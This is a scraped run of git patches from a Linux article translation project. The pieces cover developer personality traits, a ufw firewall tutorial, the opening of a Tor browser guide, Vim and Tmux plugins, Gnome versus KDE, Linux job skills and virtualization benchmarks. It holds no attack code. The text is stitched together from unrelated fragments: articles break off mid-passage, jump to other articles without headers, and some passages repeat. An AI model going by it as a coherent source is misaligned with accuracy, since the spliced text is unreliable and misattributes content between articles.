spaces he would go through it line-by-line and replace your tabs with his spaces. While the value of tabs is not even a question, (I’ve long-chided him for this anal behavior) his attention to such a small detail has served him well in his many years designing chips at Intel. - -### So There You Have It ### - -The next time you’re interviewing a potential developer, determine if she has the four personality traits I’ve listed above. Here are a few methods I’ve found useful: - -- Ask if they’re an optimist or a pessimist -- Ask about a time when they found the source of a problem -- Find out if they save for retirement (you can work this in during discussions of your company’s retirement plan) -- Make an obvious misspelling in a short code sample and ask if they see anything wrong - -We know from [Facts and Fallacies of Software Engineering][9] that the best programmers are up to [28 times better][10] than the worst programmers, making them the best bargains in software. Take these four traits and go find a bargain (or better yet, make yourself into one). - -If you liked this article you’ll also like my article [Timeline and Risk: How to Piss off Your Software Developers][11]. - --------------------------------------------------------------------------------- - -via: http://www.softwarebyrob.com/2006/08/20/personality-traits-of-the-best-software-developers/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.joelonsoftware.com/ -[2]:http://www.econsultant.com/web2/ -[3]:http://www.37signals.com/ -[4]:http://expertanswercenter.techtarget.com/eac/knowledgebaseAnswer/0,295199,sid63_gci986072,00.html -[5]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=%2Fgp%2Fproduct%2F0060794410%2Fsr%3D8-3%2Fqid%3D1155789849%2Fref%3Dpd_bbs_3%3Fie%3DUTF8 -[6]:http://www.paulgraham.com/gh.html -[7]:http://www.fastcompany.com/online/06/writestuff.html -[8]:http://www.thedailywtf.com/ -[9]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2F0321117425%2Fsr%3D8-1%2Fqid%3D1154642314%2Fref%3Dpd_bbs_1%3Fie%3DUTF8 -[10]:http://safari.oreilly.com/0321117425/ch01lev1sec1 -[11]:http://www.softwarebyrob.com/articles/Timeline_and_Risk_Piss_Off_Your_Software_Developers.aspx From 7227857a6cd32569d24365eaa42826e5b45a56a9 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 09:53:59 +0800 Subject: [PATCH 359/402] =?UTF-8?q?=E6=94=B6=E5=9B=9E=E8=BF=87=E6=9C=9F?= =?UTF-8?q?=E9=A2=86=E7=94=A8=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/10 basic examples of linux netstat command.md | 1 - .../Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md | 1 - 2 files changed, 2 deletions(-) diff --git a/sources/10 basic examples of linux netstat command.md b/sources/10 basic examples of linux netstat command.md index 73e17b72dc..b913545ce1 100644 --- a/sources/10 basic examples of linux netstat command.md +++ b/sources/10 basic examples of linux netstat command.md @@ -1,4 +1,3 @@ -[DONING]BY FingerLiu 10 basic examples of linux netstat command ================================================================================ ### Netstat ### diff --git a/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md b/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md index 6abfe2f68b..6dfb636adf 100644 --- a/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md +++ b/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md @@ -1,4 +1,3 @@ -occupied by rogetfan Daily Ubuntu Tips–Change The Language You Use In Ubuntu ================================================================================ Ubuntu, a modern and powerful operating system also allows you to use your desktop in dozens of other languages.

If you’re running **Ubuntu** Linux, you will find **ufw** as a default firewall tool. Lets start to explore about **ufw** firewall. + +### What is ufw ### + +The **ufw (Uncomplicated Firewall)** is an frontend for most widely used **iptables firewall** and it is well comfortable for host-based firewalls. ufw gives a framework for managing **netfilter**, as well as provides a command-line interface for controlling the firewall. It provides user friendly and easy to use interface for Linux newbies who are not much familiar with firewall concepts. + +While, on the other side same complicated commands helps administrators it set complicated rules using command line interface. The **ufw** is an upstream for other distributions such as **Debian, Ubuntu** and **Linux Mint**. + +#### Basic Usage ufw #### + +First, check if **ufw** is installed using following command. + + $ sudo dpkg --get-selection | grep ufw + + ufw install + +If it’s not installed, you can install it using **apt** command as shown below. + + $ sudo apt-get install ufw + +Before you use, you should check whether **ufw** is running or not. Use the following command to check it. + + $ sudo ufw status + +If you found Status: **inactive**, it mean it’s not active or disable. + +#### Enabling / Disabling ufw #### + +To enable it, you just need to type the following command at the terminal. + + $ sudo ufw enable + + Firewall is active and enabled on system startup + +To disable it, just type. + + $ sudo ufw disable + +#### List the current ufw rules #### + +After the firewall is activated you can add your rules into it.

If we want to open port from **2290 – 2300** with **tcp** protocol, then the command will be like this. + + $ sudo ufw allow 2290:2300/tcp + + To Action From + ------ ----------- ------ + 2290:2300/tcp ALLOW Anywhere + 2290:2300/tcp ALLOW Anywhere (v6) + +while if you want to use **udp**, just use the following command. + + $ sudo ufw allow 2290:2300/udp + + To Action From + ------ ----------- ------ + 2290:2300/udp ALLOW Anywhere + 2290:2300/udp ALLOW Anywhere (v6) + +Please remember that you have to put ‘**tcp**’ or ‘**udp**’ explicitly otherwise you will get an error message similar to below. + + ERROR: Must specify ‘tcp’ or ‘udp’ with multiple ports + +### Adding Specific IP ### + +Previously we have added rules based on **service** or **port**. Ufw also allow you to add rules based on **IP Address**. Here’s the sample command. + + $ sudo ufw allow from 192.168.0.104 + +You can also use a subnet mask to wider the range. + + $ sudo ufw allow form 192.168.0.0/24 + + To Action From + -- ----------- ------ + Anywhere ALLOW 192.168.0.104 + Anywhere ALLOW 192.168.0.0/24 + +As you can see, from parameter will only limit the source of connection. While the destination – which is represented by **To** column – is **Anywhere**. You can also manage the destination using ‘**To**‘ parameter. Let’s see the sample to allow access to **port 22 (ssh)**. + + $ sudo ufw allow to any port 22 + +The above command will allow access from anywhere and from any protocol to **port 22**. + +### Combining Parameters ### + +For more specific rules, you can also combining IP Address, **protocol** and **port**. Let’s say we want to create rule that limit the connection only from IP 192.168.0.104, only protocol **tcp** and to port **22**. Then the command will be like below. + + $ sudo ufw allow from 192.168.0.104 proto tcp to any port 22 + +Syntax to create deny rule is similar with allow rule. You only need to change parameter from **allow** to **deny**. + +### Deleting Rules ### + +Sometime you may need to delete your existing rule. Once again with **ufw** it is easy to delete rules. From above sample, you have a rule below and you want to delete it. + + To Action From + -- ----------- ------ + 22/tcp ALLOW 192.168.0.104 + 21/tcp ALLOW Anywhere + 21/tcp ALLOW Anywhere (v6) + +There are two methods of deleting rules. + +**Method 1** + +The below command will **delete** rules that match service **ftp**. So the **21/tcp** which mean **ftp** port will be deleted. + + $ sudo ufw delete allow ftp + +**Method 2** + +But when you tried to delete the first rule at the above example using below command. + + $ sudo ufw delete allow ssh + + Or + + $ sudo ufw delete allow 22/tcp + +You may find an error message such as. + + Could not delete non-existent rule + Could not delete non-existent rule (v6) + +Then you can do this trick. As we mentioned above, you can show the number of rule to indicate which rule that we want to delete. Let we show it to you. + + $ sudo ufw status numbered + + To Action From + -- ----------- ------ + [1] 22/tcp ALLOW 192.168.0.104 + [2] 21/tcp ALLOW Anywhere + [3] 21/tcp ALLOW Anywhere (v6) + +Then you can delete the first rule using. Press “**y**” will permanently delete the rule. + + $ sudo ufw delete 1 + + Deleting : + Allow from 192.168.0.104 to any port 22 proto tcp + Proceed with operation (y|n)? y + +From those methods you will see the difference. **Method 2** will ask **user confirmation** before deleting the rule while **method 1** is not. + +### How to Reset Rules ### + +In some situation, you may want to **delete / reset** all rules. You can do it by typing. + + $ sudo ufw reset + + Resetting all rules to installed defaults. Proceed with operation (y|n)? y + +If you press “**y**”, then **ufw** will backup all existing rules before doing the reset your ufw. Resetting the rules will also disable your firewall. You need to enabled it again if you want to use it. + +### Advanced Functionality ### + +As I stated above, the ufw firewall can able to do whatever that iptables can do. This is accomplished by using various sets of rules files, which are nothing more than **iptables-restore** appropriate text files. Fine tuning ufw and/or placing additional iptables commands not allowed via the ufw command is a matter of editing several text files. + +- /etc/default/ufw: The main configuration for default policies, IPv6 support and kernel modules. +- /etc/ufw/before[6].rules: rules in these files are calculate before any rules added via the ufw command. +- /etc/ufw/after[6].rules: rules in these files are calculate after any rules added via the ufw command. +- /etc/ufw/sysctl.conf: kernel network tunables. +- /etc/ufw/ufw.conf: sets whether or not ufw is enabled on boot and sets the LOGLEVEL. + +### Conclusion ### + +**UFW** as a front-end to iptables surely make an easy interface to user. User don’t need to remember complicated iptables syntax. **UFW** also use ‘**plain english**‘ as its parameter. + +**Allow, deny, reset** are one of them. I believe that there are many more iptables front-end out there. But definitely ufw is one of the best alternative for users who want to setup their firewall fast, easy and of course secure. Please visit **ufw manual page** by typing **man ufw** for more detail. + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/how-to-install-and-configure-ufw-firewall/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/basic-guide-on-iptables-linux-firewall-tips-commands/ \ No newline at end of file diff --git a/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md b/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md new file mode 100644 index 0000000000..7fec6d4ddf --- /dev/null +++ b/sources/onfigure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md @@ -0,0 +1,72 @@ +onfigure Your Browser To Use Tor On Ubuntu/Debian/Linux Mint +================================================================================ +**Tor**, **T**he **O**nion **R**outer, is a network of Virtual Tunnels that allows users to communicate securely and as well as anonymously over Internet.

Mouse is your enemy. Keyboard is your only friend.** + +What happens when you combine Vim with the terminal multiplexer Tmux? You have the perfect coding environment. Here are some recommendations I've collected in the past years. Now I can happily fire up my working environment running Vim, some local servers and tests, in no time. + +### Programming Tmux ### + +- [Tmux Crash Course][1] is nice introduction on how to start using Tmux. +- [My tmux.conf dotfile][2] has a customized statusbar and an improved color scheme to optimize readability. And a must have: **remap the prefix** from `Ctrl+b` to `Ctrl+a`. +- [Bootstrap your IDE][3] is as easy as writing a simple bash script. This is an example on how you can write a `.sh` file to run own environment programmatically. + +### Vim Plugins ### + +- [Vundle][4], the plugin manager for Vim, allows you to keep track of all your plugins in your `.vimrc`. Install, update and delete all your script with a single keystroke. Uh, did I tell you that you can also **search** for plugins directly from VIM? This extension is a must have. +- [Syntastic][5] checks that your syntax is correct. It's an indispensable tool to avoid stupid errors while writing code. It really **speeds up** your coding. +- [Supertab][6] Supertab is a vim plugin which allows you to use `` for all your insert completion needs. It searches for all the strings in the current context, and suggests to the user all the matching ones. Speed is not the only benefit from the plugin, it helps avoiding a lot of misspelled names when writing code. Check out the section **User contribution** in this list for an alternative to `Supertab`. +- [Ack][7] is a replacement for 99% of the uses of grep. It's nicely integrated with Vim so the user can search through his/her project files, and the results are shown in a split window. Check out the section **User contribution** in this list for an alternative to `Ack`. +- [CtrlP][8] is an extremely fast full path fuzzy file, buffer, mru, tag... finder for Vim. Written in `VimL`. +- [NERDTree][9] allows you to explore your filesystem and to open files and directories. It presents the filesystem to you in the form of a tree which you manipulate with the keyboard. It also allows you to perform simple filesystem operations. +- [Sparkup][10] lets you write HTML code faster. Write HTML in a **CSS-like syntax**, and let Sparkup handle the **expansion to full HTML** code. Check out the section **User contribution** in this list for an alternative to `Sparkup`. + +### Extra tips ### + +- [Vimux][11] allows you to interact with Tmux from Vim. Run tests, build scripts and tasks without leaving Vim. +- [Auto installing Vundle][12] adding some lines of `VimL` to `.vimrc` config file. Every time you run Vim from a new environment, it will install Vundle and all the related Bundles. This is extremely useful when you are copying your Vim config file to a fresh installation, or to a new server. +- [A success story][13] of a developer who said goodbye to his trusty **MacBook Pro** and started coding on an iPad + Linode, in da cloud. + +### Users contribution ### + +- [YouCompleteMe][14], suggested by the nice redditor hnasarat. It take some extra effort to install, but provides an incredibly powerful semantic completions for many language (C, Ruby, Python, PHP and more). +- [Ag][15], suggested by *gckjk* (Reddit knows it better!). It's `ack` on steroids. 3 to 5 times faster, it ignores file patterns from your `.gitignore` and `.hgignore` (even `.agignore` if you have special needs). +- [Emmet][16], suggested by *damnated*, another nice redditor. An alternative to `Sparkup`, but with a nice plus, it's super easy and fast to wrap strings with tags. Check out the video for an example. +- [Unite][17], suggested by basetta, is an alternative to some of the plugins I listed. You can do file searching (like `CtrlP`), content searching (using `ack` or `ag`), move around the yank history and switch between buffers. All integrated in a single plugin. + +-------------------------------------------------------------------------------- + +via: http://devcharm.com/pages/18-vim-is-your-new-ide + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://robots.thoughtbot.com/a-tmux-crash-course +[2]:https://github.com/vrde/dotfiles/blob/master/.tmux.conf +[3]:https://gist.github.com/vrde/7398199 +[4]:https://github.com/gmarik/vundle +[5]:https://github.com/scrooloose/syntastic +[6]:https://github.com/ervandew/supertab +[7]:https://github.com/mileszs/ack.vim +[8]:http://kien.github.io/ctrlp.vim/ +[9]:https://github.com/scrooloose/nerdtree +[10]:https://github.com/rstacruz/sparkup +[11]:https://github.com/benmills/vimux +[12]:http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/ +[13]:http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode +[14]:https://github.com/Valloric/YouCompleteMe +[15]:https://github.com/ggreer/the_silver_searcher +[16]:http://mattn.github.io/emmet-vim/ +[17]:https://github.com/Shougo/unite.vim \ No newline at end of file From 9abc03d6c8c0e18745d486a49edbf0290aaf107e Mon Sep 17 00:00:00 2001 From: tinyeyeser Date: Fri, 6 Dec 2013 12:49:30 +0800 Subject: [PATCH 383/402] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20by?= =?UTF-8?q?=E5=B0=8F=E7=9C=BC=E5=84=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/Vim is your new IDE.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sources/Vim is your new IDE.md b/sources/Vim is your new IDE.md index de29b5c0f0..fc316ff6cc 100644 --- a/sources/Vim is your new IDE.md +++ b/sources/Vim is your new IDE.md @@ -1,3 +1,5 @@ +翻译中 by小眼儿 + Vim is your new IDE ================================================================================ **Kill all the GUIs.

In this article, I'll look into the differences between two of the most popular Linux desktop environments – Gnome and KDE. I’ll explore what each desktop environment offers, comparing their strengths and weaknesses. - -###Initial impressions - -Upon first encountering the desktop, one can argue that KDE looks more polished than Gnome, and offers a more tech-friendly appearance. Additionally, if you are used to a Windows environment, KDE will feel much more familiar, thanks to the menu and button layout at the bottom of your screen. You can easily locate the K menu, launch programs and find documents with just a few clicks of your mouse. - -Another important and familiar benefit with KDE is the easy to use minimize and close buttons with each open document, picture or application. To someone coming from another platform, features this basic might be taken for granted. But considering desktops like Gnome don't offer a true minimize option any longer, it's worth giving KDE props here. - -Loading up Gnome 3 for the first time, the desktop might be perceived as a very alien experience if you're coming from another platform. Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way. - -###Widgets and extensions - -The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality. - -KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows. - -By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task. - -###Settings for your desktop - -While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space. - -With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as [OpenSUSE][1], go ever further by tightly integrating their own tools ([YaST][2]) into the KDE settings experience. - -With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application. - -But KDE tends to offer greater granular control with their applications. One of my favorite examples is [Kontact][3] vs [Evolution][4]. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of [AmaroK][5] vs [Rhythmbox][6], among other desktop-specific titles. - -###File management - -When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. [Nautilus][7] is the default file manager for Gnome where KDE, offers up [Dolphin][8] as its main offering. - -When it comes to desktop environments, choosing the one that's right for you can be a deeply personal matter.

Like classic Gnome, your access to docs and tools are not located at the bottom of your screen. Even stranger for some newbies, the method for closing open windows is – to be kind – "different." In defense of Gnome 3, however, I've found it to be quite a pleasant experience once you get used to this new way of doing things. And the new users I know who have tested Gnome 3 generally felt the same way. - -Widgets and extensions - -The divide between the two desktop environments continues to broaden as we dive into the extensions and widgets provided for Gnome and KDE. While both desktops provide additions you can run to further enhance your desktop experience, the lines between them become different in how the desktops handle extended functionality. - -KDE takes an interesting approach in that you can group widgets into what are called "Activities." The idea is you can have one Activity with a set number of desktop widgets, that help with specific work-flows. - -By contrast, Gnome defines activities with a different approach. Instead of being widget-centric, Gnome makes its Activities more task- and application-based. For example, if I was using multiple apps, switching to the Gnome Activities overview allows you to gain a visualization and immediate access to each task. - -Settings for your desktop - -While Gnome has gotten better about providing adequate settings controls from a GUI, KDE remains the reigning king in this space. - -With KDE, you can find settings to control nearly every aspect of your desktop experience. Some Linux distributions, such as OpenSUSE, go ever further by tightly integrating their own tools (YaST) into the KDE settings experience. - -With the updates to the Gnome desktop since Gnome 3, I've found the biggest areas where I see KDE offering greater functionality is with ease of access to settings. Gnome tends to put application specific settings into an easy to find area of each application. - -But KDE tends to offer greater granular control with their applications. One of my favorite examples is Kontact vs Evolution. Both are powerful PIMs for Gnome and KDE. But the difference is that Kontact is a suite of applications bundled with a suite of controls for each app, while Evolution is a single application with limited control. The same can be said of AmaroK vs Rhythmbox, among other desktop-specific titles. - -File management - -When it comes to finding the right file manager for your desktop, both Gnome and KDE do the work for you by providing their own defaults. Nautilus is the default file manager for Gnome where KDE, offers up Dolphin as its main offering. - -Out of the box, I've found Nautilus offers Gnome users a polished, easy to use file management tool that won't overwhelm new Linux users. Flashing over to KDE, however, Dolphin is a highly configurable and not newbie friendly file management solution for those who want tons of control. - -Simply looking at the sidebar for each file manager, you'll notice that Nautilus offers up the most straight forward approach to navigation. KDE's Dolphin, however, goes further with features like dates for files last used, and other related options. - -If you're an advanced Linux user, you'll likely find yourself gravitating to Dolphin as it offers the most options and control. For those of us who simply want to navigate files without tons of "stuff", Nautilus wins in terms of simplicity. - -###Desktop applications - -One area that causes some disagreement among Linux enthusiasts is the claim that one desktop offers better default applications than the other. That said, this is certainly the case with Gnome vs KDE. - -My findings in this area are that in many areas, Gnome wins without even trying that hard. For example: GIMP, Evince, and Pidgin are all applications that are simply less of a headache to rely on than their KDE counterparts. Kmail is another app that, in my opinion, gives new KDE users a bad taste in their mouths. Apps like this are overly complex and in general, abysmal to use. - -On the flip side, there are some worthwhile exceptions in favor of KDE. [Calligra][9] vs [AbiWord][10] is an easy win for KDE, since [LibreOffice][11] isn't "truly" a Gnome specific option. Just because it's often the default suite for many Linux distributions doesn't make it the desktop environment default. - -In the end, one of the wonders of Linux is that you can install GTK or Qt libraries and enjoy the benefits of the apps that best meet with your needs. For myself, I've found the Gnome application defaults to be the clear winner in most instances. - -Final thoughts - -If I ever found myself trapped on an island with only one desktop environment made available to me, it'd have to be Gnome. Even though I enjoy some aspects of KDE more than Gnome, overall I find Gnome is less work to keep up. Too often I’ve found KDE experiencing a messed up configuration or, worse: weird alerts claiming my sound card has disappeared. Under Gnome, I experience none of these problems. - -Because I value my time and my sanity, I'll continue to recommend Gnome over KDE; while suggesting some KDE apps when appropriate. To anyone who claims that KDE is easier to use – I'd like to point out that for me, simply learning Gnome's approach to doing things has offered me greater stability in the long run. - -Photo courtesy of [Shutterstock][12]. -

Here are some recommendations I've collected in the past years. Now I can happily fire up my working environment running Vim, some local servers and tests, in no time. - -### Programming Tmux ### - -- [Tmux Crash Course][1] is nice introduction on how to start using Tmux. -- [My tmux.conf dotfile][2] has a customized statusbar and an improved color scheme to optimize readability. And a must have: **remap the prefix** from `Ctrl+b` to `Ctrl+a`. -- [Bootstrap your IDE][3] is as easy as writing a simple bash script. This is an example on how you can write a `.sh` file to run own environment programmatically. - -### Vim Plugins ### - -- [Vundle][4], the plugin manager for Vim, allows you to keep track of all your plugins in your `.vimrc`. Install, update and delete all your script with a single keystroke. Uh, did I tell you that you can also **search** for plugins directly from VIM? This extension is a must have. -- [Syntastic][5] checks that your syntax is correct. It's an indispensable tool to avoid stupid errors while writing code. It really **speeds up** your coding. -- [Supertab][6] Supertab is a vim plugin which allows you to use `` for all your insert completion needs. It searches for all the strings in the current context, and suggests to the user all the matching ones. Speed is not the only benefit from the plugin, it helps avoiding a lot of misspelled names when writing code. Check out the section **User contribution** in this list for an alternative to `Supertab`. -- [Ack][7] is a replacement for 99% of the uses of grep. It's nicely integrated with Vim so the user can search through his/her project files, and the results are shown in a split window. Check out the section **User contribution** in this list for an alternative to `Ack`. -- [CtrlP][8] is an extremely fast full path fuzzy file, buffer, mru, tag... finder for Vim. Written in `VimL`. -- [NERDTree][9] allows you to explore your filesystem and to open files and directories. It presents the filesystem to you in the form of a tree which you manipulate with the keyboard. It also allows you to perform simple filesystem operations. -- [Sparkup][10] lets you write HTML code faster. Write HTML in a **CSS-like syntax**, and let Sparkup handle the **expansion to full HTML** code. Check out the section **User contribution** in this list for an alternative to `Sparkup`. - -### Extra tips ### - -- [Vimux][11] allows you to interact with Tmux from Vim. Run tests, build scripts and tasks without leaving Vim. -- [Auto installing Vundle][12] adding some lines of `VimL` to `.vimrc` config file. Every time you run Vim from a new environment, it will install Vundle and all the related Bundles. This is extremely useful when you are copying your Vim config file to a fresh installation, or to a new server. -- [A success story][13] of a developer who said goodbye to his trusty **MacBook Pro** and started coding on an iPad + Linode, in da cloud. - -### Users contribution ### - -- [YouCompleteMe][14], suggested by the nice redditor hnasarat. It take some extra effort to install, but provides an incredibly powerful semantic completions for many language (C, Ruby, Python, PHP and more). -- [Ag][15], suggested by *gckjk* (Reddit knows it better!). It's `ack` on steroids. 3 to 5 times faster, it ignores file patterns from your `.gitignore` and `.hgignore` (even `.agignore` if you have special needs). -- [Emmet][16], suggested by *damnated*, another nice redditor. An alternative to `Sparkup`, but with a nice plus, it's super easy and fast to wrap strings with tags. Check out the video for an example. -- [Unite][17], suggested by basetta, is an alternative to some of the plugins I listed. You can do file searching (like `CtrlP`), content searching (using `ack` or `ag`), move around the yank history and switch between buffers. All integrated in a single plugin. - --------------------------------------------------------------------------------- - -via: http://devcharm.com/pages/18-vim-is-your-new-ide -

We have brought this classification up to date by considering the period of July until the end of September 2013. The percentage of Linux job ads corresponding to ten relatively independent groups of IT skills is displayed in the above bar chart[1]. The following link to the [IT Classification][2] diagram shows how this bar chart was devised based on the classifications. The top three IT skill groups in highest demand are: Embedded Devices Developers with 27% of Linux job market share; Virtualization Engineers with 20% of Linux job market share; and LAMP Administrators with 12% of Linux job market share. In the next three sections of this article we will focus on the identified top 3 IT skill groups and discuss in detail relationships between pairs of skills. For instance, MySQL and PHP are strongly linked and usually required in tandem by employers. Note also that knowledge of Linux is required in every job advertisement taken into account in the study conducted by LinuxCareer.com. - -### Embedded Devices Developers and Programmers ### - -The first set of skills in the highest demand are skills relevant to Embedded Devices Developers and Programmers. Dependency chart[2] below shows more detail pertaining to relationships between pairs of skills. Specifically, it shows which pairs of skills are most likely to appear together in Linux related job advertisements. For instance, Embedded links strongly to C/C++/C#, which is visualized in the graph by either darker shade of a rectangle in the lower part of the graph or larger portion of the corresponding circles shaded in the upper portion of the graph. - -In general, this group of skills can be further split into three segments. These are: - -1. **Android, Embedded, C/C++/C# and Java**. This is the core of the skills you need to know if you would like to work in development of embedded devices. It is possible that either C/C++/C# or Java is required by employers, since Java is based to some extend on C/C++/C#. If you have a look at the October’s IT Skills Watch, Java leads as a programming language with the score of 9513 compared with the C/C++/C# score of 5403. Therefore, in general, if you stand before a choice between mastering of C/C++/C# or Java, Java seems to be a better choice. However, according to the graph below, C/C++/C# seems to appear more frequently in the advertisements relevant to Embedded devices. This suggests that, even though Java gets a higher general score in IT Skills Watch, mastering of C/C++/C# rather than Java is required for Embedded Devices Developer positions. -1.** Python, Perl and Bash**. These set of skills are a complementary set of programming and scripting skills. Perl and Python seem to appear often together in job advertisements, however, it is reasonable to assume that these two skills are required alternatively. -1. **Git, Subversion and Jira**. These skills pertain to source code management, debugging and project management. Some knowledge of these skills is certainly an advantage to programming related projects. Currently, the majority of open source development projects and a large number of corporate projects use such software to manage their source code. - -![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png) - -### Virtualization Engineers including skills related to data storage and management ### - -The second group of skills that are currently in demand are the group of skills relating to job advertisements relevant to Virtualization Engineering job opportunities as illustrated in the dependency chart[2] below. This group can be further divided into two segments. The first segment of skills is Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix. These skills are paramount for Virtualization Engineering job opportunities. The second segment of skills are skills relevant to Unix Systems, Data Storage and Management. It appears that these two segments are closely related. It is not a surprise that VMware comes together with ESX/ESXi and vSphere since ESX/ESXi is a computer virtualization product offered by VMware and vSphere is VMware’s cloud computing virtualization operating system. It is also interesting that Redhat has been grouped with VMware and Citrix products. The strong relation of Solaris and AIX could be a consequence of the fact that they are both proprietary Unix Systems and possibly knowledge of either one of them is sufficient. - -![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png) - -### LAMP Administrators ### - -Finally, the third group of skills is the type of skills required by employers of LAMP administrators exhibited in the dependency chart[2] below. LAMP stands for Linux Apache MySQL and PHP. All these skills are a core for a LAMP administrator. This is a relatively small group of skills that can take you far in your Linux career. In particular, the strong relation of PHP and MySQL suggests that one of these skills cannot come without the other. - -![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png) - -### Conclusion ### - -In terms of employability and groups of skills relevant to Linux professionals, this article has identified two important points. The first point shows ten groups of IT skills that were identified by clustering analysis of the most frequently appearing IT skills. The second point of this article shows that the highest demand exists for Embedded Devices and Programmers positions as indicated in the Percentage of Linux job ads linked with corresponding skill groups bar chart. This is followed by job advertisements relevant to Virtualisation Engineering positions and LAMP administrator positions. These three skill groups are core Linux related professions in the last quarter analyzed. - -### References ### - -[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3].

All of the virtualization components were obtained from the Fedora 19 repository, including QEMU 1.4.2, Xen 4.2.2, and the libvirt / virt-manager components. Xen and KVM virtualization were setup through virt-manager. VirtualBox 4.2.16 was obtained from VirtualBox.org and installed on Fedora 19. + +![](http://www.phoronix.net/image.php?id=intel_haswell_virtualization&image=intel_haswell_virtualization_med) + +The Intel Core i7 4770K system had 16GB of RAM and a 240GB OCZ Vertex 3 SSD. During testing, each VM had access to all eight logical cores (four physical cores + Hyper Threading), access to 12GB of the system's 16GB of RAM, and a 16GB virtual disk. + +The KVM, Xen, and VirtualBox performance from Fedora 19 Linux 3.9 with the Intel Core i7 "Haswell" processor were also compared to the "bare metal" results when the benchmarks were running on the host without any form of virtualization or other means of abstraction. VMware's products weren't benchmarked in this article since their EULA restricts public benchmarking (though VMware has been okay with us running such benchmarks in the past) and their trial software being limited to running on four CPU cores, but a separate article will look at the Xen/KVM/VMware performance on other hardware in the future. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=9083341&p=2) + +All of this Linux virtualization benchmarking was handled in a fully automated and reproducible manner using the open-source [Phoronix Test Suite][3] software and hosting by [OpenBenchmarking.org][4]. With using a virtual disk and with Xen/KVM not having a reliable means of shared 3D access to the host's driver/GPU, most of the benchmarks within this article are computational focused to look at the performance overhead for the different Linux virtualization methods. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=16f6601&p=2) + +Disk benchmarking wasn't a main focus of this virtualization testing since only a virtual disk was being used on the host's file-system. However, when comparing these three Linux virtualization methods against the bare metal results, KVM on the Linux 3.9 kernel was performing the best followed by Xen. Oracle's VirtualBox was running just 66% the speed of the host's PostMark mail server performance while KVM was at 96% the performance and Xen at 83% the host's speed. + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=ee1f01f&p=2) + +For the Dolfyn Computational Fluid Dynamics workload, there aren’t any major changes in performance against the bare metal results when running on KVM or Xen.

